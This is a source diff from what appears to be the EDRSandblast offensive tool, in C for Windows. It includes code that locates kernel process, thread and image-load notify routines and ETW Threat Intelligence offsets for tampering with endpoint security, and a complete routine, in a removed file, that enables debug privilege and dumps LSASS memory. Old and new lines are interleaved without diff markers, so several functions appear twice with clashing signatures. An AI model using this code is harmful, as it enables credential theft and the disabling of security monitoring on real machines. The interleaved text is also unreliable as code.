// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
// _tprintf_or_not(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
if (dword64InstructionFixed == pattern) {
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
_tprintf_or_not(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
return instructionAddress;
}
}
return 0x0;
}
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
DWORD64 ExtractRelativeAddress(DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(instructionStartAddress + instructionRelativeAddressOffset);
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
return nextInstructionAddress + procedureRelativeAddress;
}
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
_putts_or_not(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern"));
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateProcessNotifyRoutine");
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
_tprintf_or_not(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
CloseHandle(Device);
return PspCreateProcessNotifyRoutineAddress;
}
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
_putts_or_not(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern"));
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateThreadNotifyRoutine");
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
_tprintf_or_not(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
CloseHandle(Device);
return PspCreateThreadNotifyRoutineAddress;
}
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
_putts_or_not(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern"));
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetKernelFunctionAddress("PsSetLoadImageNotifyRoutineEx");
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
_tprintf_or_not(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
CloseHandle(Device);
return PspLoadImageNotifyRoutineAddress;
}
-95
View File
@@ -1,95 +0,0 @@
/*
--- LSASS dump functions.
*/
#include <Windows.h>
#include <TlHelp32.h>
#include <minidumpapiset.h>
#include <tchar.h>
#include "LSASSDump.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
LUID luid;
BOOL bRet = FALSE;
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
bRet = (GetLastError() == ERROR_SUCCESS);
}
}
return bRet;
}
DWORD WINAPI dumpLSASSProcess(void* data) {
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
TCHAR* outputDump = (TCHAR*)data;
//Enable the SeDebugPrivilege
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
CloseHandle(hToken);
}
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
return 1;
}
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
// Now walk the snapshot of processes, and look for lsass.
do {
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
continue;
}
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcesswith error 0x%x)\n"), GetLastError());
return 1;
}
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
return 1;
}
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (!dumped) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump with error 0x%x)\n"), GetLastError());
return 1;
}
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
CloseHandle(hProcess);
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return 0;
}
+15
View File
@@ -0,0 +1,15 @@
#include "ListUtils.h"
VOID freeLinkedList(PVOID head) {
PLINKED_LIST previousNode = NULL;
PLINKED_LIST currentNode = (PLINKED_LIST)head;
while (currentNode) {
previousNode = currentNode;
currentNode = currentNode->next;
free(previousNode);
previousNode = NULL;
}
return;
}
+109 -12
View File
@@ -7,24 +7,25 @@
#include <tchar.h>
#include <stdio.h>
#include "NtoskrnlOffsets.h"
#include "FileVersion.h"
#include "PdbSymbols.h"
#include "../EDRSandblast.h"
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
#include "NtoskrnlOffsets.h"
union NtoskrnlOffsets g_ntoskrnlOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
TCHAR ntoskrnlVersion[256] = { 0 };
GetNtoskrnlVersion(ntoskrnlVersion);
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename) {
LPTSTR ntoskrnlVersion = GetNtoskrnlVersion();
_tprintf_or_not(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
union NtoskrnlOffsets offset_results = { 0 };
if (offsetFileStream == NULL) {
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
return offset_results;
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
return;
}
TCHAR lineNtoskrnlVersion[256];
@@ -35,13 +36,109 @@ union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
TCHAR* endptr;
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
_tprintf_or_not(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
g_ntoskrnlOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return offset_results;
}
void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename) {
LPTSTR ntoskrnlVersion = GetNtoskrnlVersion();
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("a"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
return;
}
_ftprintf(offsetFileStream, TEXT("%s"), ntoskrnlVersion);
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
_ftprintf(offsetFileStream, TEXT(",%llx"), g_ntoskrnlOffsets.ar[i]);
}
_fputts(TEXT(""), offsetFileStream);
fclose(offsetFileStream);
}
void PrintNtoskrnlOffsets() {
_tprintf_or_not(TEXT("[+] Ntoskrnl offsets: "));
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END - 1; i++) {
_tprintf_or_not(TEXT(" %llx |"), g_ntoskrnlOffsets.ar[i]);
}
_tprintf_or_not(TEXT("%llx\n"), g_ntoskrnlOffsets.ar[_SUPPORTED_NTOSKRNL_OFFSETS_END - 1]);
}
void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb) {
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath());
if (sym_ctx == NULL) {
return;
}
g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateProcessNotifyRoutine");
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateThreadNotifyRoutine");
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine = GetSymbolAddress(sym_ctx, "PspLoadImageNotifyRoutine");
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle = GetSymbolAddress(sym_ctx, "EtwThreatIntProvRegHandle");
g_ntoskrnlOffsets.st.eprocess_protection= GetFieldOffset(sym_ctx, "_EPROCESS", L"Protection");
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry= GetFieldOffset(sym_ctx, "_ETW_REG_ENTRY", L"GuidEntry");
g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo = GetFieldOffset(sym_ctx, "_ETW_GUID_ENTRY", L"ProviderEnableInfo");
g_ntoskrnlOffsets.st.psProcessType = GetSymbolAddress(sym_ctx, "PsProcessType");
g_ntoskrnlOffsets.st.psThreadType = GetSymbolAddress(sym_ctx, "PsThreadType");
g_ntoskrnlOffsets.st.object_type_callbacklist = GetFieldOffset(sym_ctx, "_OBJECT_TYPE", L"CallbackList");
UnloadSymbols(sym_ctx, delete_pdb);
}
BOOL NtoskrnlOffsetsAreAllPresent() {
return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlEtwtiOffsetsArePresent() && g_ntoskrnlOffsets.st.eprocess_protection != 0 && NtoskrnlObjectCallbackOffsetsArePresent();
}
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent() {
return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlObjectCallbackOffsetsArePresent();
}
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent() {
return g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine != 0 &&
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine != 0 &&
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine != 0;
}
BOOL NtoskrnlEtwtiOffsetsArePresent() {
return g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo != 0 &&
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry != 0 &&
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle != 0;
}
BOOL NtoskrnlObjectCallbackOffsetsArePresent() {
return g_ntoskrnlOffsets.st.psProcessType != 0 &&
g_ntoskrnlOffsets.st.psThreadType != 0 &&
g_ntoskrnlOffsets.st.object_type_callbacklist != 0;
}
TCHAR g_ntoskrnlPath[MAX_PATH] = { 0 };
LPTSTR GetNtoskrnlPath() {
if (_tcslen(g_ntoskrnlPath) == 0) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
_tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), systemDirectory);
_tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
}
return g_ntoskrnlPath;
}
TCHAR g_ntoskrnlVersion[256] = { 0 };
LPTSTR GetNtoskrnlVersion() {
if (_tcslen(g_ntoskrnlVersion) == 0) {
LPTSTR ntoskrnlPath = GetNtoskrnlPath();
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
_stprintf_s(g_ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
}
return g_ntoskrnlVersion;
}
@@ -2,6 +2,7 @@
* Functions that browse the PEB structure instead of relying on GetModuleHandle
*/
#include "../EDRSandblast.h"
#include "Undoc.h"
#include "PEBBrowse.h"
#include <stdio.h>
@@ -18,7 +19,7 @@ LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) {
}
}
#ifdef _DEBUG
printf("getModuleEntryFromNameW failed to find module\n");
printf_or_not("getModuleEntryFromNameW failed to find module\n");
#endif // _DEBUG
return NULL;
}
@@ -3,6 +3,7 @@
* Among other things, reimplements GetProcAddress and the PE relocation process
*/
#include "../EDRSandblast.h"
#include "PEParser.h"
#include <stdio.h>
#include <assert.h>
@@ -143,7 +144,7 @@ VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
QWORD* relocQwAddress;
if (pe->isMemoryMapped) {
printf("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
printf_or_not("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
return;
}
if (NULL == pe->relocations) {
@@ -167,7 +168,7 @@ VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
*relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
break;
default:
printf("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
printf_or_not("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
exit(1);
}
}
@@ -208,6 +209,23 @@ PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) {
pe->exportedNamesLength = pe->exportDirectory->NumberOfNames;
}
pe->relocations = NULL;
DWORD debugRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
if (debugRVA == 0) {
pe->debugDirectory = NULL;
}
else {
pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA);
if (pe->debugDirectory->Type != IMAGE_DEBUG_TYPE_CODEVIEW) {
pe->debugDirectory = NULL;
}
else {
pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData);
if (pe->codeviewDebugInfo->signature != *((DWORD*)"RSDS")) {
pe->debugDirectory = NULL;
pe->codeviewDebugInfo = NULL;
}
}
}
return pe;
}
@@ -255,6 +273,28 @@ PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) {
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL);
}
pe->relocations = NULL;
DWORD debugRVA = 0;
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress, &debugRVA, sizeof(debugRVA), NULL);
if (debugRVA == 0) {
pe->debugDirectory = NULL;
}
else {
pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA);
DWORD debugDirectoryType;
ReadProcessMemory(hProcess, &pe->debugDirectory->Type, &debugDirectoryType, sizeof(debugDirectoryType), NULL);
if (debugDirectoryType != IMAGE_DEBUG_TYPE_CODEVIEW) {
pe->debugDirectory = NULL;
}
else {
pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData);
DWORD codeviewDebugInfoSignature;
ReadProcessMemory(hProcess, &pe->codeviewDebugInfo->signature, &codeviewDebugInfoSignature, sizeof(pe->codeviewDebugInfo->signature), NULL);
if (codeviewDebugInfoSignature != *((DWORD*)"RSDS")) {
pe->debugDirectory = NULL;
pe->codeviewDebugInfo = NULL;
}
}
}
return pe;
}
@@ -289,6 +329,9 @@ DWORD PE_functionRVA(PE* pe, LPCSTR functionName) {
PVOID PE_functionAddr(PE* pe, LPCSTR functionName) {
DWORD functionRVA = PE_functionRVA(pe, functionName);
if (functionRVA == 0) {
return NULL;
}
return PE_RVA_to_Addr(pe, functionRVA);
}
@@ -365,4 +408,13 @@ PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReference
}
return NULL;
}
}
VOID PE_destroy(PE* pe)
{
if (pe->relocations) {
free(pe->relocations);
pe->relocations = NULL;
}
free(pe);
}
+171
View File
@@ -0,0 +1,171 @@
#include <Windows.h>
#include <shlwapi.h>
#include <dbghelp.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileUtils.h"
#include "HttpClient.h"
#include "PEParser.h"
#include "PdbSymbols.h"
BOOL DownloadPDB(GUID guid, DWORD age, LPCWSTR pdb_name_w, PBYTE* file, SIZE_T* file_size) {
WCHAR full_pdb_uri[MAX_PATH] = { 0 };
swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%04hX%04hX%016llX%X/%s", pdb_name_w, guid.Data1, guid.Data2, guid.Data3, _byteswap_uint64(*((DWORD64*)guid.Data4)), age, pdb_name_w);
return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size);
}
BOOL DownloadPDBFromPE(PE* image_pe, PBYTE* file, SIZE_T* file_size) {
WCHAR pdb_name_w[MAX_PATH] = { 0 };
GUID guid = image_pe->codeviewDebugInfo->guid;
DWORD age = image_pe->codeviewDebugInfo->age;
MultiByteToWideChar(CP_UTF8, 0, image_pe->codeviewDebugInfo->pdbName, -1, pdb_name_w, _countof(pdb_name_w));
return DownloadPDB(guid, age, pdb_name_w, file, file_size);
}
BOOL DownloadOriginalFileW(DWORD image_timestamp, DWORD image_size, LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) {
WCHAR full_pdb_uri[MAX_PATH] = { 0 };
swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%X/%s", image_name, image_timestamp, image_size, image_name);
return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size);
}
BOOL DownloadOriginalFileFromPE(PE* image_pe, _In_opt_ LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) {
DWORD image_size = image_pe->optHeader->SizeOfImage;
//useless check
if (image_size & 0xFFF) {
image_size &= ~0xFFF;
image_size += 0x1000;
}
DWORD image_timestamp = image_pe->ntHeader->FileHeader.TimeDateStamp;
WCHAR image_name_w[MAX_PATH] = { 0 };
if (image_name == NULL) {
if (image_pe->exportDirectory != NULL) {
LPCSTR image_name_a = (LPCSTR)PE_RVA_to_Addr(image_pe, image_pe->exportDirectory->Name);
MultiByteToWideChar(CP_UTF8, 0, image_name_a, -1, image_name_w, _countof(image_name_w));
image_name = image_name_w;
}
else {
return FALSE;
}
}
return DownloadOriginalFileW(image_timestamp, image_size, image_name, file, file_size);
}
symbol_ctx* LoadSymbolsFromPE(PE* pe) {
symbol_ctx* ctx = calloc(1, sizeof(symbol_ctx));
if (ctx == NULL) {
return NULL;
}
int size_needed = MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, NULL, 0);
ctx->pdb_name_w = calloc(size_needed, sizeof(WCHAR));
MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, ctx->pdb_name_w, size_needed);
if (!FileExistsW(ctx->pdb_name_w)) {
PBYTE file;
SIZE_T file_size;
BOOL res = DownloadPDBFromPE(pe, &file, &file_size);
if (!res) {
free(ctx);
return NULL;
}
WriteFullFileW(ctx->pdb_name_w, file, file_size);
free(file);
}
DWORD64 asked_pdb_base_addr = 0x1337000;
DWORD pdb_image_size = MAXDWORD;
HANDLE cp = GetCurrentProcess();
if (!SymInitialize(cp, NULL, FALSE)) {
free(ctx);
return NULL;
}
ctx->sym_handle = cp;
DWORD64 pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0);
while (pdb_base_addr == 0) {
DWORD err = GetLastError();
if (err == ERROR_SUCCESS)
break;
if (err == ERROR_FILE_NOT_FOUND) {
printf_or_not("PDB file not found\n");
SymUnloadModule(cp, asked_pdb_base_addr);//TODO : fix handle leak
SymCleanup(cp);
free(ctx);
return NULL;
}
printf_or_not("SymLoadModuleExW, error 0x%x\n", GetLastError());
asked_pdb_base_addr += 0x1000000;
pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0);
}
ctx->pdb_base_addr = pdb_base_addr;
return ctx;
}
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path) {
PVOID image_content = ReadFullFileW(image_file_path);
PE* pe = PE_create(image_content, FALSE);
symbol_ctx* ctx = LoadSymbolsFromPE(pe);
PE_destroy(pe);
free(image_content);
return ctx;
}
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name) {
SYMBOL_INFO_PACKAGE si = { 0 };
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
si.si.MaxNameLen = sizeof(si.name);
SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, symbol_name, &si.si);
return si.si.Address - ctx->pdb_base_addr;
}
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name) {
SYMBOL_INFO_PACKAGE si = {0};
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
si.si.MaxNameLen = sizeof(si.name);
BOOL res = SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, struct_name, &si.si);
if (!res) {
return 0;
}
TI_FINDCHILDREN_PARAMS* childrenParam = calloc(1, sizeof(TI_FINDCHILDREN_PARAMS));
if (childrenParam == NULL) {
return 0;
}
res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_GET_CHILDRENCOUNT, &childrenParam->Count);
if (!res){
return 0;
}
TI_FINDCHILDREN_PARAMS* ptr = realloc(childrenParam, sizeof(TI_FINDCHILDREN_PARAMS) + childrenParam->Count * sizeof(ULONG));
if (ptr == NULL) {
free(childrenParam);
return 0;
}
childrenParam = ptr;
res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_FINDCHILDREN, childrenParam);
DWORD offset = 0;
for (ULONG i = 0; i < childrenParam->Count; i++) {
ULONG childID = childrenParam->ChildId[i];
WCHAR* name = NULL;
SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_SYMNAME, &name);
if (wcscmp(field_name, name)) {
continue;
}
